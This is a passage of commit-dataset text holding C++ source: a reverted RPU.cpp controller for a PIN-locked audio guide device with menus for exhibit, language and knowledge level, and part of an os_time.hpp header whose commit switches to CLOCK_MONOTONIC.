Enter selected menu entry *\/\n\t\t\tif (mainMenu->getCurrentSelected() == 0) {\n\t\t\t\tdisplay->setErrorString(numberInput.c_str());\n\t\t\t\tcddapi->requestAudioStream(numberInput.c_str());\n\t\t\t\tplayer->play();\n\t\t\t} else if (mainMenu->getCurrentSelected() == 1) {\n\t\t\t\tstate = SELECT_LANGUAGE;\n\t\t\t\tentered = false;\n\t\t\t} else if (mainMenu->getCurrentSelected() == 2) {\n\t\t\t\tstate = SELECT_KNOWLEDGE;\n\t\t\t\tentered = false;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\t\tnumberInput.push_back(*(char *)evt->getArguments());\n\t\t\tif (numberInput.length() > 4) \/\/ pop data from front of string to reduce to 4 character string\n\t\t\t\tnumberInput.erase(0, numberInput.length() - 4);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::selectLanguage(Event *evt)\n{\n\tstatic bool entered = false;\n\tstatic int language = 0;\n\tchar *langString;\n\tint tmpLang = language;\n\tstd::vector<std::string> supportedLanguages = cddapi->getSupportedLanguages();\n\n\tif (entered == false) {\n\t\tdo {\n\t\t\tlanguage++;\n\t\t\tlangString = (char *) supportedLanguages[language].c_str();\n\t\t} while (langString == NULL && language < supportedLanguages.size());\n\t\tif (language >= supportedLanguages.size())\n\t\t\tlanguage = tmpLang;\n\t\tdisplay->setMenuString(supportedLanguages[language].c_str());\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\t\n\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString((char *)((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f': \/*!< Fast Forward *\/\n\t\t  if (player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\t\tdo {\n\t\t\t\tlanguage++;\n\t\t\t\tlangString = (char *) supportedLanguages[language].c_str();\n\t\t\t} while (langString == NULL && language < supportedLanguages.size());\n\t\t\tif (language >= supportedLanguages.size())\n\t\t\t\tlanguage = tmpLang;\n\t\t\tdisplay->setMenuString(supportedLanguages[language].c_str());\n\t\t\tbreak;\n\t\tcase 's':\/*!< Down key *\/\n\t\t\tdo {\n\t\t\t\tlanguage--;\n\t\t\t\tlangString = (char *) supportedLanguages[language].c_str();\n\t\t\t} while (langString == NULL && language > 0);\n\t\t\tif (language < 0)\n\t\t\t\tlanguage = tmpLang;\n\t\t\tdisplay->setMenuString(supportedLanguages[language].c_str());\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\tcddapi->changeLanguage(language);\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::selectKnowledge(Event *evt)\n{\t\n\tstatic bool entered = false;\n\tstatic int knowledge = 0;\n\tchar *knowString;\n\tint tmpKnow = knowledge;\n\tstd::vector<std::string> supportedKnowledgeLevels = cddapi->getSupportedKnowledgeLevels();\n\n\tif (entered == false) {\n\t\tdo {\n\t\t\tknowledge++;\n\t\t\tknowString = (char *) supportedKnowledgeLevels[knowledge].c_str();\n\t\t} while (knowString == NULL && knowledge < supportedKnowledgeLevels.size());\n\t\tif (knowledge >= supportedKnowledgeLevels.size())\n\t\t\tknowledge = tmpKnow;\n\t\tdisplay->setMenuString(supportedKnowledgeLevels[knowledge].c_str());\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\t\n\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString((char *)((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f':\/*!< Fast Forward *\/\n\t\t  if(player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\tcddapi->changeKnowledgeLevel(knowledge);\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\t\tdo {\n\t\t\t\tknowledge++;\n\t\t\t\tknowString = (char *) supportedKnowledgeLevels[knowledge].c_str();\n\t\t\t} while (knowString == NULL && knowledge < supportedKnowledgeLevels.size());\n\t\t\tif (knowledge >= supportedKnowledgeLevels.size())\n\t\t\t\tknowledge = tmpKnow;\n\t\t\tdisplay->setMenuString(supportedKnowledgeLevels[knowledge].c_str());\n\t\t\tbreak;\n\t\tcase 's':\/*!< Down key *\/\n\t\t\tdo {\n\t\t\t\tknowledge--;\n\t\t\t\tknowString = (char *) supportedKnowledgeLevels[knowledge].c_str();\n\t\t\t} while (knowString == NULL && knowledge >= 0);\n\t\t\tif (knowledge < 0)\n\t\t\t\tknowledge = tmpKnow;\n\t\t\tdisplay->setMenuString(supportedKnowledgeLevels[knowledge].c_str());\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::requestStream(Event *evt)\n{\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString((char *)((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f':\/*!< Fast Forward *\/\n\t\t  if (player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q': \/* cancel key - return to menu *\/\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\t\/* TODO: Request stream using last 4 digits input *\/\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\t\t\/* TODO: Capture Exhibit ID input *\/\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\tcase 's':\/*!< Down key *\/\n\t\tdefault:\n\t\t\t\/\/ Unused\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n<commit_msg>Revert RPU.cpp<commit_after>\/*!\n * @file RPU.cpp\n * @author James Johns\n *\/\n#include <stdio.h>\n#include <pthread.h>\n#include <sys\/types.h>\n#include <ifaddrs.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <string.h>\n\n#include <queue>\n#include <iostream>\n\n#include <RPU.h>\n#include <KeypadDevice.h>\n#include <KeyboardDevice.h>\n#include <NCursesDisplay.h>\n#include <Menu.hpp>\n#include <VLCAudioPlayer.h>\n#include <CDDWebApi.h>\n\n\/*! RPU::RPU(void *(*audioThreadEntry)(void *), void *(*ioThreadEntry)(void *))\n * @author James Johns\n * @brief RPU constructor\n *\n * @param[in] audioThreadEntry function pointer to auidio thread start point\n * @param[in] ioThreadEntry function pointer to io thread start point\n *\/\nRPU::RPU(void *(*audioThreadEntry)(void *), void *(*ioThreadEntry)(void *))\n{\n\tchar *ipaddr = NULL;\n\tstd::vector<char *> *addresses = getIPAddress();\n\tfor (std::vector<char *>::iterator it = addresses->begin(); it != addresses->end(); it++) {\n\t\tif (strncmp(\"127\", *it, 3) != 0 && ipaddr == NULL)\n\t\t\tipaddr = *it;\n\t\telse\n\t\t\tdelete *it;\n\t}\n\tdelete addresses;\n\tprintf(\"%s\\n\", ipaddr);\n\tplayer = new VLCAudioPlayer(ipaddr);\n\tcddapi = new CDDWebApi(ipaddr);\n\tdelete ipaddr;\n\n\n\tmainMenu = new Menu();\n\tmainMenu->addMenuItem(\"Enter Exhibit\");\n\tmainMenu->addMenuItem(\"Change Language\");\n\tmainMenu->addMenuItem(\"Change Knowledge Level\");\n\n\t\/* Create input device as a keypad. If this fails, default to keyboard instead *\/\n\tinput = new KeypadDevice();\n\tif (input->isConnected() == false) { \/\/ if keypad is not connected, fallback to keyboard\n\t\tdelete input;\n\t\tinput = new KeyboardDevice();\n\t}\n\tstate = LOGIN_PROMPT;\n\n\t\/\/ connect to NCurses display by default\n\tdisplay = new NCursesDisplay();\n\tdisplay->setErrorString(\"Please enter PIN to unlock\");\n\n\t\/*! Event queue must be initialised before threads as they depend on sending events to RPU *\/\n\teventQueue = new std::queue<Event *>();\n\n\t\/* Create threads *\/\n\tif (pthread_create(&audioThread, NULL, audioThreadEntry, player) != 0) {\n\t\tperror(\"Could not create audio thread\");\n\t}\n\n\tif (pthread_create(&ioThread, NULL, ioThreadEntry, this) != 0) {\n\t\tperror(\"Could not create audio thread\");\n\t}\n\trunning = true;\n}\n\n\/*! RPU::~RPU()\n * @author James Johns\n * @brief RPU destructor\n *\n *\/\nRPU::~RPU()\n{\n\trunning = false;\n\tplayer->stop();\n\tpthread_join(ioThread, NULL);\n\tpthread_join(audioThread, NULL);\n\tdelete player;\n\tdelete input;\n\tdelete display;\n\tdelete cddapi;\n}\n\n\/*! RPU::tick()\n * @author James Johns\n * @brief RPU update tick\n *\n * Call iteratively to allow RPU to execute next action.\n * Handles events sent to the RPU, such as input, stream requests etc.\n *\/\nvoid RPU::tick()\n{\n\t\/\/Checks for incoming broadcast. Mutes regular streaming\n\t\/\/Returns bool; true if broadcasting, false if not \n\tplayer->listen(); \n\n\tEvent *evt = getEvent();\n\tdo {\n\t\tif (evt != NULL) {\n\t\t\tif (evt->getType() == Event::QUIT) {\n\t\t\t\trunning = false;\n\t\t\t}\n\t\t}\n\t\tswitch (state) {\n\t\tcase LOGIN_PROMPT:\n\t\t\tloginPrompt(evt);\n\t\t\tbreak;\n\t\tcase DISPLAY_MENU:\n\t\t\tdisplayMenu(evt);\n\t\t\tbreak;\n\t\tcase SELECT_LANGUAGE:\n\t\t\tselectLanguage(evt);\n\t\t\tbreak;\n\t\tcase SELECT_KNOWLEDGE:\n\t\t\tselectKnowledge(evt);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tif (evt != NULL)\n\t\t\tdelete evt;\n\t\tevt = getEvent();\n\t} while (evt != NULL);\n}\n\n\/*! RPU::sendEvent(Event *evt)\n * @author James Johns\n * @brief Send Event to RPU\n *\n * @param[in] evt Event to place in event queue\n *\/\nvoid RPU::sendEvent(Event *evt)\n{\n\teventQueue->push(evt);\n}\n\n\/*! RPU::getEvent()\n * @author James Johns\n * @brief Get event in event queue\n *\n * @return Event at front of event queue. Returns NULL if queue is empty.\n *\/\nEvent *RPU::getEvent()\n{\n\tEvent *evt = NULL;\n\tif (!eventQueue->empty()) {\n\t\tevt = eventQueue->front();\n\t\teventQueue->pop();\n\t}\n\treturn evt;\n}\n\n\/*! RPU::getIPAddress()\n * @author James Johns\n * @brief Find the device's current IP address\n *\n * @return List of strings containing IP addresses that the device is associated with\n *\/\nstd::vector<char *> *RPU::getIPAddress()\n{\n\tstruct ifaddrs *ifAddrs = NULL, *curAddr = NULL;\n\tvoid *tmpAddr = NULL;\n\tchar *tmpStr = NULL;\n\tstd::vector<char *> *toRet = new std::vector<char *>;\n\n\tgetifaddrs(&ifAddrs);\n\n\tfor (curAddr = ifAddrs; curAddr != NULL; curAddr = curAddr->ifa_next) {\n\t\tif (!curAddr->ifa_addr)\n\t\t\tcontinue;\n\n\t\tif (curAddr->ifa_addr->sa_family == AF_INET) {\n\t\t\ttmpAddr = &((struct sockaddr_in *)curAddr->ifa_addr)->sin_addr;\n\t\t\ttmpStr = new char[INET_ADDRSTRLEN];\n\t\t\tinet_ntop(AF_INET, tmpAddr, tmpStr, INET_ADDRSTRLEN);\n\t\t\ttoRet->push_back(tmpStr);\n\n\t\t} else {\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\treturn toRet;\n}\n\nvoid RPU::loginPrompt(Event *evt)\n{\n\tstatic bool entered = false;\n\n\tif (entered == false) {\n\t\tdisplay->setErrorString(\"Please enter PIN to unlock\");\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'q':\n\t\t\trunning = false;\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\t\/* enter selected menu entry *\/\n\t\t\tif (cddapi->login(numberInput.c_str()) == 0) {\n\t\t\t\tstate = DISPLAY_MENU;\n\t\t\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\t\t\tdisplay->setErrorString(NULL);\n\t\t\t\tentered = false;\n\t\t\t} else {\n\t\t\t\tdisplay->setErrorString(cddapi->getLastSentMessage().c_str());\n\t\t\t}\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\t\t\/* capture PIN input *\/\n\t\t\tnumberInput.push_back(*(char *)evt->getArguments());\n\t\t\tif (numberInput.length() > 4) \/\/ pop data from front of string to reduce to 4 character string\n\t\t\t\tnumberInput.erase(0, numberInput.length() - 4);\n\t\t\tbreak;\n\t\tcase 'p':\/*!< play *\/\n\t\tcase 'r':\/*!< rewind *\/\n\t\tcase 'f':\/*!< Fast Forward *\/\n\t\tcase 'w':\/*!< Up key *\/\n\t\tcase 's':\/*!< Down key *\/\n\t\tdefault:\n\t\t\t\/* ignored *\/\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::displayMenu(Event *evt)\n{\n\tstatic bool entered = false;\n\n\tif (entered == false) {\n\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\t\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString(((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t  if (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f': \/*!< Fast Forward *\/\n\t\t  if (player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\tstate = LOGIN_PROMPT;\n\t\t\tdisplay->setErrorString(\"Please enter PIN to unlock\");\n\t\t\tdisplay->setMenuString(NULL);\n\t\t\tdisplay->setPlaybackString(NULL);\n\t\t\tdisplay->setTrackInfoString(NULL);\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\t\tmainMenu->up();\n\t\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\t\tbreak;\n\t\tcase 's':\/*!< Down key *\/\n\t\t\tmainMenu->down();\n\t\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter (continue) key *\/\n\t\t\t\/* Enter selected menu entry *\/\n\t\t\tif (mainMenu->getCurrentSelected() == 0) {\n\t\t\t\tdisplay->setErrorString(numberInput.c_str());\n\t\t\t\tcddapi->requestAudioStream(numberInput.c_str());\n\t\t\t\tplayer->play();\n\t\t\t} else if (mainMenu->getCurrentSelected() == 1) {\n\t\t\t\tstate = SELECT_LANGUAGE;\n\t\t\t\tentered = false;\n\t\t\t} else if (mainMenu->getCurrentSelected() == 2) {\n\t\t\t\tstate = SELECT_KNOWLEDGE;\n\t\t\t\tentered = false;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\t\tnumberInput.push_back(*(char *)evt->getArguments());\n\t\t\tif (numberInput.length() > 4) \/\/ pop data from front of string to reduce to 4 character string\n\t\t\t\tnumberInput.erase(0, numberInput.length() - 4);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::selectLanguage(Event *evt)\n{\n\tstatic bool entered = false;\n\tstatic int language = 0;\n\tchar *langString;\n\tint tmpLang = language;\n\tstd::vector<std::string> supportedLanguages = cddapi->getSupportedLanguages();\n\n\tif (entered == false) {\n\t\tdo {\n\t\t\tlanguage++;\n\t\t\tlangString = (char *) supportedLanguages[language].c_str();\n\t\t} while (langString == NULL && language < supportedLanguages.size());\n\t\tif (language >= supportedLanguages.size())\n\t\t\tlanguage = tmpLang;\n\t\tdisplay->setMenuString(supportedLanguages[language].c_str());\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\t\n\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString((char *)((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f': \/*!< Fast Forward *\/\n\t\t  if (player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\t\tdo {\n\t\t\t\tlanguage++;\n\t\t\t\tlangString = (char *) supportedLanguages[language].c_str();\n\t\t\t} while (langString == NULL && language < supportedLanguages.size());\n\t\t\tif (language >= supportedLanguages.size())\n\t\t\t\tlanguage = tmpLang;\n\t\t\tdisplay->setMenuString(supportedLanguages[language].c_str());\n\t\t\tbreak;\n\t\tcase 's':\/*!< Down key *\/\n\t\t\tdo {\n\t\t\t\tlanguage--;\n\t\t\t\tlangString = (char *) supportedLanguages[language].c_str();\n\t\t\t} while (langString == NULL && language > 0);\n\t\t\tif (language < 0)\n\t\t\t\tlanguage = tmpLang;\n\t\t\tdisplay->setMenuString(supportedLanguages[language].c_str());\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\tcddapi->changeLanguage(language);\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::selectKnowledge(Event *evt)\n{\t\n\tstatic bool entered = false;\n\tstatic int knowledge = 0;\n\tchar *knowString;\n\tint tmpKnow = knowledge;\n\tstd::vector<std::string> supportedKnowledgeLevels = cddapi->getSupportedKnowledgeLevels();\n\n\tif (entered == false) {\n\t\tdo {\n\t\t\tknowledge++;\n\t\t\tknowString = (char *) supportedKnowledgeLevels[knowledge].c_str();\n\t\t} while (knowString == NULL && knowledge < supportedKnowledgeLevels.size());\n\t\tif (knowledge >= supportedKnowledgeLevels.size())\n\t\t\tknowledge = tmpKnow;\n\t\tdisplay->setMenuString(supportedKnowledgeLevels[knowledge].c_str());\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\t\n\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString((char *)((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f':\/*!< Fast Forward *\/\n\t\t  if(player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\tcddapi->changeKnowledgeLevel(knowledge);\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tentered = false;\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\t\tdo {\n\t\t\t\tknowledge++;\n\t\t\t\tknowString = (char *) supportedKnowledgeLevels[knowledge].c_str();\n\t\t\t} while (knowString == NULL && knowledge < supportedKnowledgeLevels.size());\n\t\t\tif (knowledge >= supportedKnowledgeLevels.size())\n\t\t\t\tknowledge = tmpKnow;\n\t\t\tdisplay->setMenuString(supportedKnowledgeLevels[knowledge].c_str());\n\t\t\tbreak;\n\t\tcase 's':\/*!< Down key *\/\n\t\t\tdo {\n\t\t\t\tknowledge--;\n\t\t\t\tknowString = (char *) supportedKnowledgeLevels[knowledge].c_str();\n\t\t\t} while (knowString == NULL && knowledge >= 0);\n\t\t\tif (knowledge < 0)\n\t\t\t\tknowledge = tmpKnow;\n\t\t\tdisplay->setMenuString(supportedKnowledgeLevels[knowledge].c_str());\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::requestStream(Event *evt)\n{\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString((char *)((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f':\/*!< Fast Forward *\/\n\t\t  if (player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q': \/* cancel key - return to menu *\/\n\t\t\tstate = DISPLAY_MENU;\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\t\/* TODO: Request stream using last 4 digits input *\/\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\t\t\/* TODO: Capture Exhibit ID input *\/\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\tcase 's':\/*!< Down key *\/\n\t\tdefault:\n\t\t\t\/\/ Unused\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n *\n * Copyright 2011 Jose Fonseca\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n\/*\n * Simple OS time measurement abstraction.\n *\/\n\n#ifndef _OS_TIME_HPP_\n#define _OS_TIME_HPP_\n\n\n#if defined(_WIN32)\n#  include <windows.h>\n#else\n#  if defined(__linux__)\n#    include <time.h>\n#  elif defined(__APPLE__)\n#    include <mach\/mach_time.h>\n#  else\n#    include <sys\/time.h>\n#  endif\n#  include <unistd.h>\n#endif\n\n\nnamespace os {\n\n    \/\/ OS dependent time frequency\n#if defined(_WIN32) || defined(__APPLE__)\n    \/\/ runtime variable on Windows and MacOSX\n    extern long long timeFrequency;\n#elif defined(__linux__)\n    \/\/ nanoseconds on Linux\n    static const long long timeFrequency = 1000000000LL;\n#else\n    \/\/ microseconds on Unices\n    static const long long timeFrequency = 1000000LL;\n#endif\n\n    \/\/ Time from an unknown base in a unit determined by timeFrequency\n    inline long long\n    getTime(void) {\n#if defined(_WIN32)\n        if (!timeFrequency) {\n            LARGE_INTEGER frequency;\n            QueryPerformanceFrequency(&frequency);\n            timeFrequency = frequency.QuadPart;\n        }\n        LARGE_INTEGER counter;\n        QueryPerformanceCounter(&counter);\n        return counter.QuadPart;\n#elif defined(__linux__)\n        struct timespec tp;\n        if (clock_gettime(CLOCK_REALTIME, &tp) == -1) {\n            return 0;\n        }\n        return tp.tv_sec * 1000000000LL + tp.tv_nsec;\n#elif defined(__APPLE__)\n        if (!timeFrequency) {\n            mach_timebase_info_data_t timebaseInfo;\n            mach_timebase_info(&timebaseInfo);\n            timeFrequency = 1000000000LL * timebaseInfo.denom \/ timebaseInfo.numer;\n        }\n        return mach_absolute_time();\n#else\n        struct timeval tv;\n        gettimeofday(&tv, NULL);\n        return tv.tv_sec * 1000000LL + tv.tv_usec;\n#endif\n    }\n\n    \/\/ Suspend execution\n    inline void\n    sleep(unsigned long usecs) {\n#if defined(_WIN32)\n        Sleep((usecs + 999) \/ 1000);\n#else\n        usleep(usecs);\n#endif\n    }\n\n} \/* namespace os *\/\n\n#endif \/* _OS_TIME_HPP_ *\/\n<commit_msg>os: Use CLOCK_MONOTONIC<commit_after>\/**************************************************************************\n *\n * Copyright 2011 Jose Fonseca\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n\/*\n * Simple OS time measurement abstraction.\n *\/\n\n#ifndef _OS_TIME_HPP_\n#define _OS_TIME_HPP_\n\n\n#if defined(_WIN32)\n#  include <windows.h>\n#else\n#  if defined(__linux__)\n#    include <time.h>\n#  elif defined(__APPLE__)\n#    include <mach\/mach_time.h>\n#  else\n#    include <sys\/time.h>\n#  endif\n#  include <unistd.h>\n#endif\n\n\nnamespace os {\n\n    \/\/ OS dependent time frequency\n#if defined(_WIN32) || defined(__APPLE__)\n    \/\/ runtime variable on Windows and MacOSX\n    extern long long timeFrequency;\n#elif defined(__linux__)\n    \/\/ nanoseconds on Linux\n    static const long long timeFrequency = 1000000000LL;\n#else\n    \/\/ microseconds on Unices\n    static const long long timeFrequency = 1000000LL;\n#endif\n\n    \/\/ Time from an unknown base in a unit determined by timeFrequency\n    inline long long\n    getTime(void) {\n#if defined(_WIN32)\n        if (!timeFrequency) {\n            LARGE_INTEGER frequency;\n            QueryPerformanceFrequency(&frequency);\n            timeFrequency = frequency.QuadPart;\n        }\n        LARGE_INTEGER counter;\n        QueryPerformanceCounter(&counter);\n        return counter.QuadPart;\n#elif defined(__linux__)\n        struct timespec tp;\n        if (clock_gettime(CLOCK_MONOTONIC, &tp) == -1) {\n            return 0;\n        }\n        return tp.tv_sec * 1000000000LL + 